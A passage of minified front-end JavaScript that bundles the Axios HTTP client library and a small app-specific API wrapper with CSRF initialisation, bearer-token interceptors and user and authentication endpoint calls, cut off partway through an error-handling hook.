ue.forEachEntry(e,(s,i)=>{t(zM(s),i,n,0)}),n}return null}function UM(e,t,n){if(ue.isString(e))try{return(t||JSON.parse)(e),ue.trim(e)}catch(s){if(s.name!=="SyntaxError")throw s}return(n||JSON.stringify)(e)}const Mu={transitional:XE,adapter:["xhr","http","fetch"],transformRequest:[function(t,n){const s=n.getContentType()||"",i=s.indexOf("application/json")>-1,c=ue.isObject(t);if(c&&ue.isHTMLForm(t)&&(t=new FormData(t)),ue.isFormData(t))return i?JSON.stringify(WE(t)):t;if(ue.isArrayBuffer(t)||ue.isBuffer(t)||ue.isStream(t)||ue.isFile(t)||ue.isBlob(t)||ue.isReadableStream(t))return t;if(ue.isArrayBufferView(t))return t.buffer;if(ue.isURLSearchParams(t))return n.setContentType("application/x-www-form-urlencoded;charset=utf-8",!1),t.toString();let d;if(c){if(s.indexOf("application/x-www-form-urlencoded")>-1)return PM(t,this.formSerializer).toString();if((d=ue.isFileList(t))||s.indexOf("multipart/form-data")>-1){const m=this.env&&this.env.FormData;return yh(d?{"files[]":t}:t,m&&new m,this.formSerializer)}}return c||i?(n.setContentType("application/json",!1),UM(t)):t}],transformResponse:[function(t){const n=this.transitional||Mu.transitional,s=n&&n.forcedJSONParsing,i=this.responseType==="json";if(ue.isResponse(t)||ue.isReadableStream(t))return t;if(t&&ue.isString(t)&&(s&&!this.responseType||i)){const u=!(n&&n.silentJSONParsing)&&i;try{return JSON.parse(t,this.parseReviver)}catch(d){if(u)throw d.name==="SyntaxError"?rt.from(d,rt.ERR_BAD_RESPONSE,this,null,this.response):d}}return t}],timeout:0,xsrfCookieName:"XSRF-TOKEN",xsrfHeaderName:"X-XSRF-TOKEN",maxContentLength:-1,maxBodyLength:-1,env:{FormData:Qn.classes.FormData,Blob:Qn.classes.Blob},validateStatus:function(t){return t>=200&&t<300},headers:{common:{Accept:"application/json, text/plain, */*","Content-Type":void 0}}};ue.forEach(["delete","get","head","post","put","patch"],e=>{Mu.headers[e]={}});const IM=ue.toObjectSet(["age","authorization","content-length","content-type","etag","expires","from","host","if-modified-since","if-unmodified-since","last-modified","location","max-forwards","proxy-authorization","referer","retry-after","user-agent"]),HM=e=>{const t={};let n,s,i;return e&&e.split(`
`).forEach(function(u){i=u.indexOf(":"),n=u.substring(0,i).trim().toLowerCase(),s=u.substring(i+1).trim(),!(!n||t[n]&&IM[n])&&(n==="set-cookie"?t[n]?t[n].push(s):t[n]=[s]:t[n]=t[n]?t[n]+", "+s:s)}),t},l4=Symbol("internals");function Vc(e){return e&&String(e).trim().toLowerCase()}function j0(e){return e===!1||e==null?e:ue.isArray(e)?e.map(j0):String(e)}function qM(e){const t=Object.create(null),n=/([^\s,;=]+)\s*(?:=\s*([^,;]+))?/g;let s;for(;s=n.exec(e);)t[s[1]]=s[2];return t}const $M=e=>/^[-_a-zA-Z0-9^`|~,!#$%&'*+.]+$/.test(e.trim());function gx(e,t,n,s,i){if(ue.isFunction(s))return s.call(this,t,n);if(i&&(t=n),!!ue.isString(t)){if(ue.isString(s))return t.indexOf(s)!==-1;if(ue.isRegExp(s))return s.test(t)}}function GM(e){return e.trim().toLowerCase().replace(/([a-z\d])(\w*)/g,(t,n,s)=>n.toUpperCase()+s)}function YM(e,t){const n=ue.toCamelCase(" "+t);["get","set","has"].forEach(s=>{Object.defineProperty(e,s+n,{value:function(i,c,u){return this[s].call(this,t,i,c,u)},configurable:!0})})}let wa=class{constructor(t){t&&this.set(t)}set(t,n,s){const i=this;function c(d,m,h){const p=Vc(m);if(!p)throw new Error("header name must be a non-empty string");const x=ue.findKey(i,p);(!x||i[x]===void 0||h===!0||h===void 0&&i[x]!==!1)&&(i[x||m]=j0(d))}const u=(d,m)=>ue.forEach(d,(h,p)=>c(h,p,m));if(ue.isPlainObject(t)||t instanceof this.constructor)u(t,n);else if(ue.isString(t)&&(t=t.trim())&&!$M(t))u(HM(t),n);else if(ue.isObject(t)&&ue.isIterable(t)){let d={},m,h;for(const p of t){if(!ue.isArray(p))throw TypeError("Object iterator must return a key-value pair");d[h=p[0]]=(m=d[h])?ue.isArray(m)?[...m,p[1]]:[m,p[1]]:p[1]}u(d,n)}else t!=null&&c(n,t,s);return this}get(t,n){if(t=Vc(t),t){const s=ue.findKey(this,t);if(s){const i=this[s];if(!n)return i;if(n===!0)return qM(i);if(ue.isFunction(n))return n.call(this,i,s);if(ue.isRegExp(n))return n.exec(i);throw new TypeError("parser must be boolean|regexp|function")}}}has(t,n){if(t=Vc(t),t){const s=ue.findKey(this,t);return!!(s&&this[s]!==void 0&&(!n||gx(this,this[s],s,n)))}return!1}delete(t,n){const s=this;let i=!1;function c(u){if(u=Vc(u),u){const d=ue.findKey(s,u);d&&(!n||gx(s,s[d],d,n))&&(delete s[d],i=!0)}}return ue.isArray(t)?t.forEach(c):c(t),i}clear(t){const n=Object.keys(this);let s=n.length,i=!1;for(;s--;){const c=n[s];(!t||gx(this,this[c],c,t,!0))&&(delete this[c],i=!0)}return i}normalize(t){const n=this,s={};return ue.forEach(this,(i,c)=>{const u=ue.findKey(s,c);if(u){n[u]=j0(i),delete n[c];return}const d=t?GM(c):String(c).trim();d!==c&&delete n[c],n[d]=j0(i),s[d]=!0}),this}concat(...t){return this.constructor.concat(this,...t)}toJSON(t){const n=Object.create(null);return ue.forEach(this,(s,i)=>{s!=null&&s!==!1&&(n[i]=t&&ue.isArray(s)?s.join(", "):s)}),n}[Symbol.iterator](){return Object.entries(this.toJSON())[Symbol.iterator]()}toString(){return Object.entries(this.toJSON()).map(([t,n])=>t+": "+n).join(`
`)}getSetCookie(){return this.get("set-cookie")||[]}get[Symbol.toStringTag](){return"AxiosHeaders"}static from(t){return t instanceof this?t:new this(t)}static concat(t,...n){const s=new this(t);return n.forEach(i=>s.set(i)),s}static accessor(t){const s=(this[l4]=this[l4]={accessors:{}}).accessors,i=this.prototype;function c(u){const d=Vc(u);s[d]||(YM(i,u),s[d]=!0)}return ue.isArray(t)?t.forEach(c):c(t),this}};wa.accessor(["Content-Type","Content-Length","Accept","Accept-Encoding","User-Agent","Authorization"]);ue.reduceDescriptors(wa.prototype,({value:e},t)=>{let n=t[0].toUpperCase()+t.slice(1);return{get:()=>e,set(s){this[n]=s}}});ue.freezeMethods(wa);function vx(e,t){const n=this||Mu,s=t||n,i=wa.from(s.headers);let c=s.data;return ue.forEach(e,function(d){c=d.call(n,c,i.normalize(),t?t.status:void 0)}),i.normalize(),c}function QE(e){return!!(e&&e.__CANCEL__)}function zl(e,t,n){rt.call(this,e??"canceled",rt.ERR_CANCELED,t,n),this.name="CanceledError"}ue.inherits(zl,rt,{__CANCEL__:!0});function ZE(e,t,n){const s=n.config.validateStatus;!n.status||!s||s(n.status)?e(n):t(new rt("Request failed with status code "+n.status,[rt.ERR_BAD_REQUEST,rt.ERR_BAD_RESPONSE][Math.floor(n.status/100)-4],n.config,n.request,n))}function KM(e){const t=/^([-+\w]{1,25})(:?\/\/|:)/.exec(e);return t&&t[1]||""}function XM(e,t){e=e||10;const n=new Array(e),s=new Array(e);let i=0,c=0,u;return t=t!==void 0?t:1e3,function(m){const h=Date.now(),p=s[c];u||(u=h),n[i]=m,s[i]=h;let x=c,g=0;for(;x!==i;)g+=n[x++],x=x%e;if(i=(i+1)%e,i===c&&(c=(c+1)%e),h-u<t)return;const y=p&&h-p;return y?Math.round(g*1e3/y):void 0}}function WM(e,t){let n=0,s=1e3/t,i,c;const u=(h,p=Date.now())=>{n=p,i=null,c&&(clearTimeout(c),c=null),e(...h)};return[(...h)=>{const p=Date.now(),x=p-n;x>=s?u(h,p):(i=h,c||(c=setTimeout(()=>{c=null,u(i)},s-x)))},()=>i&&u(i)]}const V0=(e,t,n=3)=>{let s=0;const i=XM(50,250);return WM(c=>{const u=c.loaded,d=c.lengthComputable?c.total:void 0,m=u-s,h=i(m),p=u<=d;s=u;const x={loaded:u,total:d,progress:d?u/d:void 0,bytes:m,rate:h||void 0,estimated:h&&d&&p?(d-u)/h:void 0,event:c,lengthComputable:d!=null,[t?"download":"upload"]:!0};e(x)},n)},c4=(e,t)=>{const n=e!=null;return[s=>t[0]({lengthComputable:n,total:e,loaded:s}),t[1]]},u4=e=>(...t)=>ue.asap(()=>e(...t)),QM=Qn.hasStandardBrowserEnv?((e,t)=>n=>(n=new URL(n,Qn.origin),e.protocol===n.protocol&&e.host===n.host&&(t||e.port===n.port)))(new URL(Qn.origin),Qn.navigator&&/(msie|trident)/i.test(Qn.navigator.userAgent)):()=>!0,ZM=Qn.hasStandardBrowserEnv?{write(e,t,n,s,i,c){const u=[e+"="+encodeURIComponent(t)];ue.isNumber(n)&&u.push("expires="+new Date(n).toGMTString()),ue.isString(s)&&u.push("path="+s),ue.isString(i)&&u.push("domain="+i),c===!0&&u.push("secure"),document.cookie=u.join("; ")},read(e){const t=document.cookie.match(new RegExp("(^|;\\s*)("+e+")=([^;]*)"));return t?decodeURIComponent(t[3]):null},remove(e){this.write(e,"",Date.now()-864e5)}}:{write(){},read(){return null},remove(){}};function JM(e){return/^([a-z][a-z\d+\-.]*:)?\/\//i.test(e)}function e7(e,t){return t?e.replace(/\/?\/$/,"")+"/"+t.replace(/^\/+/,""):e}function JE(e,t,n){let s=!JM(t);return e&&(s||n==!1)?e7(e,t):t}const d4=e=>e instanceof wa?{...e}:e;function lo(e,t){t=t||{};const n={};function s(h,p,x,g){return ue.isPlainObject(h)&&ue.isPlainObject(p)?ue.merge.call({caseless:g},h,p):ue.isPlainObject(p)?ue.merge({},p):ue.isArray(p)?p.slice():p}function i(h,p,x,g){if(ue.isUndefined(p)){if(!ue.isUndefined(h))return s(void 0,h,x,g)}else return s(h,p,x,g)}function c(h,p){if(!ue.isUndefined(p))return s(void 0,p)}function u(h,p){if(ue.isUndefined(p)){if(!ue.isUndefined(h))return s(void 0,h)}else return s(void 0,p)}function d(h,p,x){if(x in t)return s(h,p);if(x in e)return s(void 0,h)}const m={url:c,method:c,data:c,baseURL:u,transformRequest:u,transformResponse:u,paramsSerializer:u,timeout:u,timeoutMessage:u,withCredentials:u,withXSRFToken:u,adapter:u,responseType:u,xsrfCookieName:u,xsrfHeaderName:u,onUploadProgress:u,onDownloadProgress:u,decompress:u,maxContentLength:u,maxBodyLength:u,beforeRedirect:u,transport:u,httpAgent:u,httpsAgent:u,cancelToken:u,socketPath:u,responseEncoding:u,validateStatus:d,headers:(h,p,x)=>i(d4(h),d4(p),x,!0)};return ue.forEach(Object.keys({...e,...t}),function(p){const x=m[p]||i,g=x(e[p],t[p],p);ue.isUndefined(g)&&x!==d||(n[p]=g)}),n}const ej=e=>{const t=lo({},e);let{data:n,withXSRFToken:s,xsrfHeaderName:i,xsrfCookieName:c,headers:u,auth:d}=t;if(t.headers=u=wa.from(u),t.url=KE(JE(t.baseURL,t.url,t.allowAbsoluteUrls),e.params,e.paramsSerializer),d&&u.set("Authorization","Basic "+btoa((d.username||"")+":"+(d.password?unescape(encodeURIComponent(d.password)):""))),ue.isFormData(n)){if(Qn.hasStandardBrowserEnv||Qn.hasStandardBrowserWebWorkerEnv)u.setContentType(void 0);else if(ue.isFunction(n.getHeaders)){const m=n.getHeaders(),h=["content-type","content-length"];Object.entries(m).forEach(([p,x])=>{h.includes(p.toLowerCase())&&u.set(p,x)})}}if(Qn.hasStandardBrowserEnv&&(s&&ue.isFunction(s)&&(s=s(t)),s||s!==!1&&QM(t.url))){const m=i&&c&&ZM.read(c);m&&u.set(i,m)}return t},t7=typeof XMLHttpRequest<"u",n7=t7&&function(e){return new Promise(function(n,s){const i=ej(e);let c=i.data;const u=wa.from(i.headers).normalize();let{responseType:d,onUploadProgress:m,onDownloadProgress:h}=i,p,x,g,y,w;function S(){y&&y(),w&&w(),i.cancelToken&&i.cancelToken.unsubscribe(p),i.signal&&i.signal.removeEventListener("abort",p)}let N=new XMLHttpRequest;N.open(i.method.toUpperCase(),i.url,!0),N.timeout=i.timeout;function T(){if(!N)return;const A=wa.from("getAllResponseHeaders"in N&&N.getAllResponseHeaders()),R={data:!d||d==="text"||d==="json"?N.responseText:N.response,status:N.status,statusText:N.statusText,headers:A,config:e,request:N};ZE(function(k){n(k),S()},function(k){s(k),S()},R),N=null}"onloadend"in N?N.onloadend=T:N.onreadystatechange=function(){!N||N.readyState!==4||N.status===0&&!(N.responseURL&&N.responseURL.indexOf("file:")===0)||setTimeout(T)},N.onabort=function(){N&&(s(new rt("Request aborted",rt.ECONNABORTED,e,N)),N=null)},N.onerror=function(j){const R=j&&j.message?j.message:"Network Error",D=new rt(R,rt.ERR_NETWORK,e,N);D.event=j||null,s(D),N=null},N.ontimeout=function(){let j=i.timeout?"timeout of "+i.timeout+"ms exceeded":"timeout exceeded";const R=i.transitional||XE;i.timeoutErrorMessage&&(j=i.timeoutErrorMessage),s(new rt(j,R.clarifyTimeoutError?rt.ETIMEDOUT:rt.ECONNABORTED,e,N)),N=null},c===void 0&&u.setContentType(null),"setRequestHeader"in N&&ue.forEach(u.toJSON(),function(j,R){N.setRequestHeader(R,j)}),ue.isUndefined(i.withCredentials)||(N.withCredentials=!!i.withCredentials),d&&d!=="json"&&(N.responseType=i.responseType),h&&([g,w]=V0(h,!0),N.addEventListener("progress",g)),m&&N.upload&&([x,y]=V0(m),N.upload.addEventListener("progress",x),N.upload.addEventListener("loadend",y)),(i.cancelToken||i.signal)&&(p=A=>{N&&(s(!A||A.type?new zl(null,e,N):A),N.abort(),N=null)},i.cancelToken&&i.cancelToken.subscribe(p),i.signal&&(i.signal.aborted?p():i.signal.addEventListener("abort",p)));const E=KM(i.url);if(E&&Qn.protocols.indexOf(E)===-1){s(new rt("Unsupported protocol "+E+":",rt.ERR_BAD_REQUEST,e));return}N.send(c||null)})},a7=(e,t)=>{const{length:n}=e=e?e.filter(Boolean):[];if(t||n){let s=new AbortController,i;const c=function(h){if(!i){i=!0,d();const p=h instanceof Error?h:this.reason;s.abort(p instanceof rt?p:new zl(p instanceof Error?p.message:p))}};let u=t&&setTimeout(()=>{u=null,c(new rt(`timeout ${t} of ms exceeded`,rt.ETIMEDOUT))},t);const d=()=>{e&&(u&&clearTimeout(u),u=null,e.forEach(h=>{h.unsubscribe?h.unsubscribe(c):h.removeEventListener("abort",c)}),e=null)};e.forEach(h=>h.addEventListener("abort",c));const{signal:m}=s;return m.unsubscribe=()=>ue.asap(d),m}},s7=function*(e,t){let n=e.byteLength;if(n<t){yield e;return}let s=0,i;for(;s<n;)i=s+t,yield e.slice(s,i),s=i},r7=async function*(e,t){for await(const n of i7(e))yield*s7(n,t)},i7=async function*(e){if(e[Symbol.asyncIterator]){yield*e;return}const t=e.getReader();try{for(;;){const{done:n,value:s}=await t.read();if(n)break;yield s}}finally{await t.cancel()}},f4=(e,t,n,s)=>{const i=r7(e,t);let c=0,u,d=m=>{u||(u=!0,s&&s(m))};return new ReadableStream({async pull(m){try{const{done:h,value:p}=await i.next();if(h){d(),m.close();return}let x=p.byteLength;if(n){let g=c+=x;n(g)}m.enqueue(new Uint8Array(p))}catch(h){throw d(h),h}},cancel(m){return d(m),i.return()}},{highWaterMark:2})},h4=64*1024,{isFunction:xf}=ue,o7=(({Request:e,Response:t})=>({Request:e,Response:t}))(ue.global),{ReadableStream:m4,TextEncoder:p4}=ue.global,x4=(e,...t)=>{try{return!!e(...t)}catch{return!1}},l7=e=>{e=ue.merge.call({skipUndefined:!0},o7,e);const{fetch:t,Request:n,Response:s}=e,i=t?xf(t):typeof fetch=="function",c=xf(n),u=xf(s);if(!i)return!1;const d=i&&xf(m4),m=i&&(typeof p4=="function"?(w=>S=>w.encode(S))(new p4):async w=>new Uint8Array(await new n(w).arrayBuffer())),h=c&&d&&x4(()=>{let w=!1;const S=new n(Qn.origin,{body:new m4,method:"POST",get duplex(){return w=!0,"half"}}).headers.has("Content-Type");return w&&!S}),p=u&&d&&x4(()=>ue.isReadableStream(new s("").body)),x={stream:p&&(w=>w.body)};i&&["text","arrayBuffer","blob","formData","stream"].forEach(w=>{!x[w]&&(x[w]=(S,N)=>{let T=S&&S[w];if(T)return T.call(S);throw new rt(`Response type '${w}' is not supported`,rt.ERR_NOT_SUPPORT,N)})});const g=async w=>{if(w==null)return 0;if(ue.isBlob(w))return w.size;if(ue.isSpecCompliantForm(w))return(await new n(Qn.origin,{method:"POST",body:w}).arrayBuffer()).byteLength;if(ue.isArrayBufferView(w)||ue.isArrayBuffer(w))return w.byteLength;if(ue.isURLSearchParams(w)&&(w=w+""),ue.isString(w))return(await m(w)).byteLength},y=async(w,S)=>{const N=ue.toFiniteNumber(w.getContentLength());return N??g(S)};return async w=>{let{url:S,method:N,data:T,signal:E,cancelToken:A,timeout:j,onDownloadProgress:R,onUploadProgress:D,responseType:k,headers:B,withCredentials:I="same-origin",fetchOptions:z}=ej(w),U=t||fetch;k=k?(k+"").toLowerCase():"text";let $=a7([E,A&&A.toAbortSignal()],j),H=null;const W=$&&$.unsubscribe&&(()=>{$.unsubscribe()});let se;try{if(D&&h&&N!=="get"&&N!=="head"&&(se=await y(B,T))!==0){let F=new n(S,{method:"POST",body:T,duplex:"half"}),P;if(ue.isFormData(T)&&(P=F.headers.get("content-type"))&&B.setContentType(P),F.body){const[q,Y]=c4(se,V0(u4(D)));T=f4(F.body,h4,q,Y)}}ue.isString(I)||(I=I?"include":"omit");const M=c&&"credentials"in n.prototype,O={...z,signal:$,method:N.toUpperCase(),headers:B.normalize().toJSON(),body:T,duplex:"half",credentials:M?I:void 0};H=c&&new n(S,O);let V=await(c?U(H,z):U(S,O));const Z=p&&(k==="stream"||k==="response");if(p&&(R||Z&&W)){const F={};["status","statusText","headers"].forEach(me=>{F[me]=V[me]});const P=ue.toFiniteNumber(V.headers.get("content-length")),[q,Y]=R&&c4(P,V0(u4(R),!0))||[];V=new s(f4(V.body,h4,q,()=>{Y&&Y(),W&&W()}),F)}k=k||"text";let ce=await x[ue.findKey(x,k)||"text"](V,w);return!Z&&W&&W(),await new Promise((F,P)=>{ZE(F,P,{data:ce,headers:wa.from(V.headers),status:V.status,statusText:V.statusText,config:w,request:H})})}catch(M){throw W&&W(),M&&M.name==="TypeError"&&/Load failed|fetch/i.test(M.message)?Object.assign(new rt("Network Error",rt.ERR_NETWORK,w,H),{cause:M.cause||M}):rt.from(M,M&&M.code,w,H)}}},c7=new Map,tj=e=>{let t=e?e.env:{};const{fetch:n,Request:s,Response:i}=t,c=[s,i,n];let u=c.length,d=u,m,h,p=c7;for(;d--;)m=c[d],h=p.get(m),h===void 0&&p.set(m,h=d?new Map:l7(t)),p=h;return h};tj();const gg={http:jM,xhr:n7,fetch:{get:tj}};ue.forEach(gg,(e,t)=>{if(e){try{Object.defineProperty(e,"name",{value:t})}catch{}Object.defineProperty(e,"adapterName",{value:t})}});const g4=e=>`- ${e}`,u7=e=>ue.isFunction(e)||e===null||e===!1,nj={getAdapter:(e,t)=>{e=ue.isArray(e)?e:[e];const{length:n}=e;let s,i;const c={};for(let u=0;u<n;u++){s=e[u];let d;if(i=s,!u7(s)&&(i=gg[(d=String(s)).toLowerCase()],i===void 0))throw new rt(`Unknown adapter '${d}'`);if(i&&(ue.isFunction(i)||(i=i.get(t))))break;c[d||"#"+u]=i}if(!i){const u=Object.entries(c).map(([m,h])=>`adapter ${m} `+(h===!1?"is not supported by the environment":"is not available in the build"));let d=n?u.length>1?`since :
`+u.map(g4).join(`
`):" "+g4(u[0]):"as no adapter specified";throw new rt("There is no suitable adapter to dispatch the request "+d,"ERR_NOT_SUPPORT")}return i},adapters:gg};function yx(e){if(e.cancelToken&&e.cancelToken.throwIfRequested(),e.signal&&e.signal.aborted)throw new zl(null,e)}function v4(e){return yx(e),e.headers=wa.from(e.headers),e.data=vx.call(e,e.transformRequest),["post","put","patch"].indexOf(e.method)!==-1&&e.headers.setContentType("application/x-www-form-urlencoded",!1),nj.getAdapter(e.adapter||Mu.adapter,e)(e).then(function(s){return yx(e),s.data=vx.call(e,e.transformResponse,s),s.headers=wa.from(s.headers),s},function(s){return QE(s)||(yx(e),s&&s.response&&(s.response.data=vx.call(e,e.transformResponse,s.response),s.response.headers=wa.from(s.response.headers))),Promise.reject(s)})}const aj="1.12.2",bh={};["object","boolean","number","function","string","symbol"].forEach((e,t)=>{bh[e]=function(s){return typeof s===e||"a"+(t<1?"n ":" ")+e}});const y4={};bh.transitional=function(t,n,s){function i(c,u){return"[Axios v"+aj+"] Transitional option '"+c+"'"+u+(s?". "+s:"")}return(c,u,d)=>{if(t===!1)throw new rt(i(u," has been removed"+(n?" in "+n:"")),rt.ERR_DEPRECATED);return n&&!y4[u]&&(y4[u]=!0,console.warn(i(u," has been deprecated since v"+n+" and will be removed in the near future"))),t?t(c,u,d):!0}};bh.spelling=function(t){return(n,s)=>(console.warn(`${s} is likely a misspelling of ${t}`),!0)};function d7(e,t,n){if(typeof e!="object")throw new rt("options must be an object",rt.ERR_BAD_OPTION_VALUE);const s=Object.keys(e);let i=s.length;for(;i-- >0;){const c=s[i],u=t[c];if(u){const d=e[c],m=d===void 0||u(d,c,e);if(m!==!0)throw new rt("option "+c+" must be "+m,rt.ERR_BAD_OPTION_VALUE);continue}if(n!==!0)throw new rt("Unknown option "+c,rt.ERR_BAD_OPTION)}}const A0={assertOptions:d7,validators:bh},Fs=A0.validators;let Ji=class{constructor(t){this.defaults=t||{},this.interceptors={request:new o4,response:new o4}}async request(t,n){try{return await this._request(t,n)}catch(s){if(s instanceof Error){let i={};Error.captureStackTrace?Error.captureStackTrace(i):i=new Error;const c=i.stack?i.stack.replace(/^.+\n/,""):"";try{s.stack?c&&!String(s.stack).endsWith(c.replace(/^.+\n.+\n/,""))&&(s.stack+=`
`+c):s.stack=c}catch{}}throw s}}_request(t,n){typeof t=="string"?(n=n||{},n.url=t):n=t||{},n=lo(this.defaults,n);const{transitional:s,paramsSerializer:i,headers:c}=n;s!==void 0&&A0.assertOptions(s,{silentJSONParsing:Fs.transitional(Fs.boolean),forcedJSONParsing:Fs.transitional(Fs.boolean),clarifyTimeoutError:Fs.transitional(Fs.boolean)},!1),i!=null&&(ue.isFunction(i)?n.paramsSerializer={serialize:i}:A0.assertOptions(i,{encode:Fs.function,serialize:Fs.function},!0)),n.allowAbsoluteUrls!==void 0||(this.defaults.allowAbsoluteUrls!==void 0?n.allowAbsoluteUrls=this.defaults.allowAbsoluteUrls:n.allowAbsoluteUrls=!0),A0.assertOptions(n,{baseUrl:Fs.spelling("baseURL"),withXsrfToken:Fs.spelling("withXSRFToken")},!0),n.method=(n.method||this.defaults.method||"get").toLowerCase();let u=c&&ue.merge(c.common,c[n.method]);c&&ue.forEach(["delete","get","head","post","put","patch","common"],w=>{delete c[w]}),n.headers=wa.concat(u,c);const d=[];let m=!0;this.interceptors.request.forEach(function(S){typeof S.runWhen=="function"&&S.runWhen(n)===!1||(m=m&&S.synchronous,d.unshift(S.fulfilled,S.rejected))});const h=[];this.interceptors.response.forEach(function(S){h.push(S.fulfilled,S.rejected)});let p,x=0,g;if(!m){const w=[v4.bind(this),void 0];for(w.unshift(...d),w.push(...h),g=w.length,p=Promise.resolve(n);x<g;)p=p.then(w[x++],w[x++]);return p}g=d.length;let y=n;for(;x<g;){const w=d[x++],S=d[x++];try{y=w(y)}catch(N){S.call(this,N);break}}try{p=v4.call(this,y)}catch(w){return Promise.reject(w)}for(x=0,g=h.length;x<g;)p=p.then(h[x++],h[x++]);return p}getUri(t){t=lo(this.defaults,t);const n=JE(t.baseURL,t.url,t.allowAbsoluteUrls);return KE(n,t.params,t.paramsSerializer)}};ue.forEach(["delete","get","head","options"],function(t){Ji.prototype[t]=function(n,s){return this.request(lo(s||{},{method:t,url:n,data:(s||{}).data}))}});ue.forEach(["post","put","patch"],function(t){function n(s){return function(c,u,d){return this.request(lo(d||{},{method:t,headers:s?{"Content-Type":"multipart/form-data"}:{},url:c,data:u}))}}Ji.prototype[t]=n(),Ji.prototype[t+"Form"]=n(!0)});let f7=class sj{constructor(t){if(typeof t!="function")throw new TypeError("executor must be a function.");let n;this.promise=new Promise(function(c){n=c});const s=this;this.promise.then(i=>{if(!s._listeners)return;let c=s._listeners.length;for(;c-- >0;)s._listeners[c](i);s._listeners=null}),this.promise.then=i=>{let c;const u=new Promise(d=>{s.subscribe(d),c=d}).then(i);return u.cancel=function(){s.unsubscribe(c)},u},t(function(c,u,d){s.reason||(s.reason=new zl(c,u,d),n(s.reason))})}throwIfRequested(){if(this.reason)throw this.reason}subscribe(t){if(this.reason){t(this.reason);return}this._listeners?this._listeners.push(t):this._listeners=[t]}unsubscribe(t){if(!this._listeners)return;const n=this._listeners.indexOf(t);n!==-1&&this._listeners.splice(n,1)}toAbortSignal(){const t=new AbortController,n=s=>{t.abort(s)};return this.subscribe(n),t.signal.unsubscribe=()=>this.unsubscribe(n),t.signal}static source(){let t;return{token:new sj(function(i){t=i}),cancel:t}}};function h7(e){return function(n){return e.apply(null,n)}}function m7(e){return ue.isObject(e)&&e.isAxiosError===!0}const vg={Continue:100,SwitchingProtocols:101,Processing:102,EarlyHints:103,Ok:200,Created:201,Accepted:202,NonAuthoritativeInformation:203,NoContent:204,ResetContent:205,PartialContent:206,MultiStatus:207,AlreadyReported:208,ImUsed:226,MultipleChoices:300,MovedPermanently:301,Found:302,SeeOther:303,NotModified:304,UseProxy:305,Unused:306,TemporaryRedirect:307,PermanentRedirect:308,BadRequest:400,Unauthorized:401,PaymentRequired:402,Forbidden:403,NotFound:404,MethodNotAllowed:405,NotAcceptable:406,ProxyAuthenticationRequired:407,RequestTimeout:408,Conflict:409,Gone:410,LengthRequired:411,PreconditionFailed:412,PayloadTooLarge:413,UriTooLong:414,UnsupportedMediaType:415,RangeNotSatisfiable:416,ExpectationFailed:417,ImATeapot:418,MisdirectedRequest:421,UnprocessableEntity:422,Locked:423,FailedDependency:424,TooEarly:425,UpgradeRequired:426,PreconditionRequired:428,TooManyRequests:429,RequestHeaderFieldsTooLarge:431,UnavailableForLegalReasons:451,InternalServerError:500,NotImplemented:501,BadGateway:502,ServiceUnavailable:503,GatewayTimeout:504,HttpVersionNotSupported:505,VariantAlsoNegotiates:506,InsufficientStorage:507,LoopDetected:508,NotExtended:510,NetworkAuthenticationRequired:511};Object.entries(vg).forEach(([e,t])=>{vg[t]=e});function rj(e){const t=new Ji(e),n=OE(Ji.prototype.request,t);return ue.extend(n,Ji.prototype,t,{allOwnKeys:!0}),ue.extend(n,t,null,{allOwnKeys:!0}),n.create=function(i){return rj(lo(e,i))},n}const cn=rj(Mu);cn.Axios=Ji;cn.CanceledError=zl;cn.CancelToken=f7;cn.isCancel=QE;cn.VERSION=aj;cn.toFormData=yh;cn.AxiosError=rt;cn.Cancel=cn.CanceledError;cn.all=function(t){return Promise.all(t)};cn.spread=h7;cn.isAxiosError=m7;cn.mergeConfig=lo;cn.AxiosHeaders=wa;cn.formToJSON=e=>WE(ue.isHTMLForm(e)?new FormData(e):e);cn.getAdapter=nj.getAdapter;cn.HttpStatusCode=vg;cn.default=cn;const{Axios:tX,AxiosError:nX,CanceledError:aX,isCancel:sX,CancelToken:rX,VERSION:iX,all:oX,Cancel:lX,isAxiosError:cX,spread:uX,toFormData:dX,AxiosHeaders:fX,HttpStatusCode:hX,formToJSON:mX,getAdapter:pX,mergeConfig:xX}=cn,p7="/api",x7="",qn=cn.create({baseURL:p7,timeout:1e4,withCredentials:!0,headers:{"Content-Type":"application/json",Accept:"application/json"}});let U0=!1;const ij=async()=>{if(!U0)try{await cn.get(`${x7}/sanctum/csrf-cookie`,{withCredentials:!0}),U0=!0}catch(e){console.warn("Failed to initialize CSRF protection:",e)}};qn.interceptors.request.use(async e=>{["post","put","patch","delete"].includes(e.method?.toLowerCase())&&await ij();const n=localStorage.getItem("auth_token")||sessionStorage.getItem("auth_token");return n&&(e.headers.Authorization=`Bearer ${n}`),e},e=>Promise.reject(e));qn.interceptors.response.use(e=>e,e=>(e.response?.status===401&&(U0=!1),Promise.reject(e)));const bt={initializeCsrf:ij,getCsrfStatus:()=>U0,test:()=>qn.get("/test"),getUsers:()=>qn.get("/users"),getUser:e=>qn.get(`/users/${e}`),createUser:e=>qn.post("/users",e),updateUser:(e,t)=>qn.put(`/users/${e}`,t),deleteUser:e=>qn.delete(`/users/${e}`),login:e=>qn.post("/auth/login-username",e),register:e=>qn.post("/auth/register-username",e),logout:()=>qn.post("/auth/logout-api"),getProfile:()=>qn.get("/auth/user"),get:(e,t={})=>qn.get(e,{params:t}),post:(e,t)=>qn.post(e,t),put:(e,t)=>qn.put(e,t),patch:(e,t)=>qn.patch(e,t),delete:e=>qn.delete(e)},gf={UNAUTHORIZED:401,FORBIDDEN:403,NOT_FOUND:404,INTERNAL_SERVER_ERROR:500},Qt=()=>{const[e,t]=C.useState(!1),[n,s]=C.useState(null),{success:i,error:c,warning:u}=yi(),d=C.useCallback(()=>localStorage.getItem("auth_token")||sessionStorage.getItem("auth_token"),[]),m=C.useCallback((j,R=!0)=>{R?localStorage.setItem("auth_token",j):sessionStorage.setItem("auth_token",j)},[]),h=C.useCallback(()=>{localStorage.removeItem("auth_token"),sessionStorage.removeItem("auth_token")},[]),p=C.useCallback(async()=>{try{await bt.initializeCsrf()}catch(j){console.warn("Failed to initialize CSRF protection:",j)}},[]),x=C.useCallback(()=>bt.getCsrfStatus(),[]),g=C.useCallback(async(j,R=!1,D="",k=!1)=>{try{const I=(await j).data;return R&&D&&i(D),I}catch(B){const I=B.response?.data?.message||B.response?.data?.error||B.message||"An error occurred";switch(B.response?.status){case gf.UNAUTHORIZED:!k&&d()?(h(),c("Session expired. Please login again.")):c(I);break;case gf.FORBIDDEN:c("You don't have permission to perform this action.");break;case gf.NOT_FOUND:c("The requested resource was not found.");break;case gf.INTERNAL_SERVER_ERROR:c("Server error. Please try 